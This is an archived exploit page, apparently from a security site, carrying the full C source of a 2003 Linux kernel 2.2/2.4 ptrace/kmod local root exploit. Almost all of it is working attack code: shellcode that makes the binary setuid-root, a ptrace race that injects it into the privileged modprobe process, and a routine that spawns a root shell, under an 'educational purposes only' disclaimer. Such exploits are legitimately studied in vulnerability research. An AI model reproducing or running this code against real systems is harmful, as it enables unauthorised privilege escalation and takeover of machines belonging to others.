exploits , vulnerabilities , articles , Linux kernel 2.2.x - 2.4.x ptrace/kmod local root exploit

/*
* Linux kernel ptrace/kmod local root exploit
*
* This code exploits a race condition in kernel/kmod.c, which creates
* kernel thread in insecure manner. This bug allows to ptrace cloned
* process, allowing to take control over privileged modprobe binary.
*
* Should work under all current 2.2.x and 2.4.x kernels.
* 
* I discovered this stupid bug independently on January 25, 2003, that 
* is (almost) two month before it was fixed and published by Red Hat
* and others.
* 
* Wojciech Purczynski <cliph@isec.pl>
*
* THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY*
* IT IS PROVIDED "AS IS" AND WITHOUT ANY WARRANTY
* 
* (c) 2003 Copyright by iSEC Security Research
*/

#include <grp.h>
#include <stdio.h>
#include <fcntl.h>
#include <errno.h>
#include <paths.h>
#include <string.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <sys/wait.h>
#include <sys/stat.h>
#include <sys/param.h>
#include <sys/types.h>
#include <sys/ptrace.h>
#include <sys/socket.h>
#include <linux/user.h>

char cliphcode[] =
"\x90\x90\xeb\x1f\xb8\xb6\x00\x00"
"\x00\x5b\x31\xc9\x89\xca\xcd\x80"
"\xb8\x0f\x00\x00\x00\xb9\xed\x0d"
"\x00\x00\xcd\x80\x89\xd0\x89\xd3"
"\x40\xcd\x80\xe8\xdc\xff\xff\xff";

#define CODE_SIZE (sizeof(cliphcode) - 1)

pid_t parent = 1;
pid_t child = 1;
pid_t victim = 1;
volatile int gotchild = 0;

void fatal(char * msg)
{
perror(msg);
kill(parent, SIGKILL);
kill(child, SIGKILL);
kill(victim, SIGKILL);
}

void putcode(unsigned long * dst)
{
char buf[MAXPATHLEN + CODE_SIZE];
unsigned long * src;
int i, len;

memcpy(buf, cliphcode, CODE_SIZE);
len = readlink("/proc/self/exe", buf + CODE_SIZE, MAXPATHLEN -
1);
if (len == -1)
fatal("[-] Unable to read /proc/self/exe");

len += CODE_SIZE + 1;
buf[len] = '\0';

src = (unsigned long*) buf;
for (i = 0; i < len; i += 4)
if (ptrace(PTRACE_POKETEXT, victim, dst++, *src++) == -1)
fatal("[-] Unable to write shellcode");
}

void sigchld(int signo)
{
struct user_regs_struct regs;

if (gotchild++ == 0)
return;

fprintf(stderr, "[+] Signal caught\n");

if (ptrace(PTRACE_GETREGS, victim, NULL, ®s) == -1)
fatal("[-] Unable to read registers");

fprintf(stderr, "[+] Shellcode placed at 0x%08lx\n", regs.eip);

putcode((unsigned long *)regs.eip);

fprintf(stderr, "[+] Now wait for suid shell...\n");

if (ptrace(PTRACE_DETACH, victim, 0, 0) == -1)
fatal("[-] Unable to detach from victim");

exit(0);
}

void sigalrm(int signo)
{
errno = ECANCELED;
fatal("[-] Fatal error");
}

void do_child(void)
{
int err;

child = getpid();
victim = child + 1;

signal(SIGCHLD, sigchld);

do
err = ptrace(PTRACE_ATTACH, victim, 0, 0);
while (err == -1 && errno == ESRCH);

if (err == -1)
fatal("[-] Unable to attach");

fprintf(stderr, "[+] Attached to %d\n", victim);
while (!gotchild) ;
if (ptrace(PTRACE_SYSCALL, victim, 0, 0) == -1)
fatal("[-] Unable to setup syscall trace");
fprintf(stderr, "[+] Waiting for signal\n");

for(;;);
}

void do_parent(char * progname)
{
struct stat st;
int err;
errno = 0;
socket(AF_SECURITY, SOCK_STREAM, 1);
do {
err = stat(progname, &st);
} while (err == 0 && (st.st_mode & S_ISUID) != S_ISUID);

if (err == -1)
fatal("[-] Unable to stat myself");

alarm(0);
system(progname);
}

void prepare(void)
{
if (geteuid() == 0) {
initgroups("root", 0);
setgid(0);
setuid(0);
execl(_PATH_BSHELL, _PATH_BSHELL, NULL);
fatal("[-] Unable to spawn shell");
}
}

int main(int argc, char ** argv)
{
prepare();
signal(SIGALRM, sigalrm);
alarm(10);

parent = getpid();
child = fork();
victim = child + 1;

if (child == -1)
fatal("[-] Unable to fork");

if (child == 0)
do_child();
else
do_parent(argv[0]);

return 0;
}


securitydot.net - 2003-03-30